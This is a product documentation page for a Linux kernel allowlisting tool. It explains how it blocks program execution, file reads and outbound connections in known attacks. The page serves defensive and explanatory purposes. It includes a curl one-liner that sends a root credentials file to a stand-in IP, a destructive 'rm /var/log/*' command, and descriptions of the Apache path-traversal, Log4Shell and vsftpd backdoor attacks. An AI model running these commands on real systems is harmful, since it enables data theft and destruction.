# When Root Isn't Enough > How Root Lock by HeartSuite's three enforcement mechanisms hold against real attacks — one example per mechanism, including what it does not cover. --- LLMS index: [llms.txt](/llms.txt) --- **Overview**: Every attack does three things: run a program, access files, make a network connection. Root Lock by HeartSuite controls all three — per program, not per user. Each section below targets one of these three mechanisms with a real attack. Every example involves root access. In each case, root is not enough. Each attack below was actively exploited within days of its disclosure. The gap between a vulnerability being published and attackers using it has collapsed to hours, not weeks. Patching cannot keep pace. Root Lock by HeartSuite's enforcement blocks these attacks regardless of whether the vulnerable software has been patched — because it gates what each program can reach, not whether a vulnerability exists. ## A new program tries to run **The attack.** An attacker gains a foothold on a server — a compromised web application, a stolen credential, a misconfigured service. Their next move is to get more capability. They download a tool: a reconnaissance script, a credential dumper, a reverse shell. On a standard Linux server, a file downloaded to `/tmp` is executable the moment it arrives. As root, there are no further gates. **What Root Lock by HeartSuite does.** Every program must have an allowlist entry before the kernel will run it. A file downloaded to `/tmp` has no entry — it was never observed during Setup Mode, never reviewed, never approved. The kernel refuses to execute it. The attacker has a file. They cannot run it. This applies equally to interpreted scripts. A malicious Python script dropped at `/tmp/attack.py` has no allowlist entry for that path. Root Lock by HeartSuite's Secure Script Launchers give each script its own allowlist entry, separate from the interpreter. Python runs. The unauthorized script does not. **What it does not cover.** If the attacker already controls an approved program and issues commands within that program's approved scope, this particular gate does not apply. The other two still do: the program can only read and write files in its allowlist, and only connect to destinations in its network allowlist. And every attempt to launch a new program returns to this gate — any new program without an allowlist entry is blocked. See [When Attackers Stay Within Approved Boundaries](#when-attackers-stay-within-approved-boundaries) for the full picture. --- ## An approved program reads what it shouldn't **The attack.** CVE-2021-41773 — Apache HTTP Server 2.4.49. A flaw in how Apache validates URL paths allows an attacker to craft a request that escapes the web root. Apache fetches and returns arbitrary files from the filesystem. The attacker requests `/etc/passwd`. Apache reads it and returns it. No authentication required. The traditional defense — run Apache as `www-data` with limited permissions — does not help when the attacker targets files that `www-data` can legitimately read. On most systems, `/etc/passwd` is world-readable by design. **What Root Lock by HeartSuite does.** Apache's allowlist entry defines exactly which files and directories it can read. `/etc/passwd` is not in that list — Apache was never observed reading it during Setup Mode, because a correctly configured web server never needs to. When the crafted request causes Apache to attempt to open `/etc/passwd`, the kernel refuses. The path traversal works as a URL trick. It fails as a file operation. The question is not whether the system user can read `/etc/passwd`. The question is whether this specific program — Apache — is approved to read it. It is not. The same mechanism applies to binary replacement. If an attacker with root tries to overwrite `/usr/bin/whoami` with a malicious script, the write is blocked — because the program issuing the write does not have `/usr/bin/whoami` in its file write allowlist. Root privilege does not override this check. **What it does not cover.** If the attacker targets only files the compromised program is already approved to read, this gate does not apply. The other gates still do: writes outside the approved paths are still blocked, every outbound connection is still gated by the network allowlist, and any new program the attacker tries to run is blocked at the program gate. See [When Attackers Stay Within Approved Boundaries](#when-attackers-stay-within-approved-boundaries) for the full picture. --- ## An approved program sends data it shouldn't **The attack.** An attacker on a server uses `curl` — a standard utility present on nearly every Linux system — to send data out: ```bash curl -X POST --data-binary "@/root/credentials.txt" http://203.0.113.42/upload ``` On a standard server with root access, this works. `curl` reads the file, opens a socket to the destination, and uploads the contents. The data leaves. **What Root Lock by HeartSuite does.** Two checks activate, independently. First, `/root/credentials.txt` is not in `curl`'s file access allowlist — `curl` was never approved to read files from `/root`. The read fails before a connection is attempted. Second, even if `curl` could read the file, `203.0.113.42` is not in `curl`'s network allowlist. The socket is refused. Either check alone stops the exfiltration. Both activate. The result is the same whether the attacker uses `curl`, `wget`, a raw `/dev/tcp` connection, or `logger` forwarding to a remote syslog server — the mechanism is identical for all of them: a socket to a non-allowlisted IP is refused, regardless of which tool asks and regardless of privilege level. Log4Shell (CVE-2021-44228) shows the same gate working in reverse. The attack works by causing a vulnerable application to reach out to attacker-controlled infrastructure to fetch and run malicious code. That outbound request — to a server not in the application's network allowlist — is refused. The code never arrives. The attack ends at the network gate before anything executes. **Scope.** Network allowlisting controls which programs can reach which destinations. What they send over those approved connections is the domain of your network detection tools — see the complementary table in [How Root Lock by HeartSuite Compares](../how-it-compares/). Even when an attacker uses an approved program's approved connection, the program still cannot reach destinations outside its network allowlist, read or write files outside its file allowlist, or launch a new program — see [When Attackers Stay Within Approved Boundaries](#when-attackers-stay-within-approved-boundaries) for the full picture. --- ## When attackers stay within approved boundaries Root Lock by HeartSuite enforces three things per program. An attacker who stays entirely within those approved boundaries is constrained — but not stopped. Each scenario below shows what remains enforced even then, and which defenses handle the rest. **Prompt injection.** An attacker embeds instructions in content the program processes — a document, a web page, an API response. The program follows them. Root Lock by HeartSuite sees an approved program doing approved things. File access and outbound connections remain gated. The attack is in the meaning of the content — content-layer defenses are what handle content-layer attacks. **Command injection inside an approved interpreter.** If `bash` is on the allowlist and an attacker causes an approved program to call `bash -c 'rm /var/log/*'`, the command runs within `bash`'s approved file scope. File access outside that scope is still blocked. What runs inside an approved interpreter is not inspected — tight allowlist scope limits the damage. **Backdoored programs that are already on the allowlist.** vsftpd 2.3.4 (CVE-2011-2523) shipped with a backdoor compiled in — connecting with a username containing `:)` opens a listener on port 6200 and hands the attacker a root shell. If vsftpd is on the allowlist, the backdoor activates inside vsftpd's own process: no new binary executes, no outbound connection is made, and no file access outside vsftpd's approved scope occurs. Root Lock by HeartSuite limits what the attacker can do with that shell — file reads and outbound network connections remain gated. A program already approved to run can exercise its approved permissions, including ones a backdoor author planned for. **Attacks within a program's approved scope.** A compromised web server that reads only files it is already approved to read, and connects only to destinations already in its network allowlist, operates within its allowlist. Every file outside that scope is still blocked. Every connection to an unapproved destination is still refused. Tight allowlisting limits the blast radius — and under Lockdown, the kernel blocks any program (including root) from reaching backup files, so previous versions remain intact and restorable from the Dashboard's Backup. Under Lockdown, the kernel controls three things per program — whether it can execute, which files it can read or write, and which network destinations it can reach — and holds those controls regardless of user privilege, including root. The allowlist is sealed — immutable on disk, refused at runtime by the kernel itself: no program or user, including root, can modify it while the machine is running. The backup files are protected by the Root Lock by HeartSuite kernel itself, not by filesystem permissions. Nothing the attacker ran survives a reboot. For detection and response when an attack stays within approved boundaries, see [How Root Lock by HeartSuite Compares](../how-it-compares/) — specifically the complementary tools table covering SIEM, NDR, and EDR. For the economics of this attack model — what it costs the attacker to work through each boundary — see [Security as Economics](../security-as-economics/).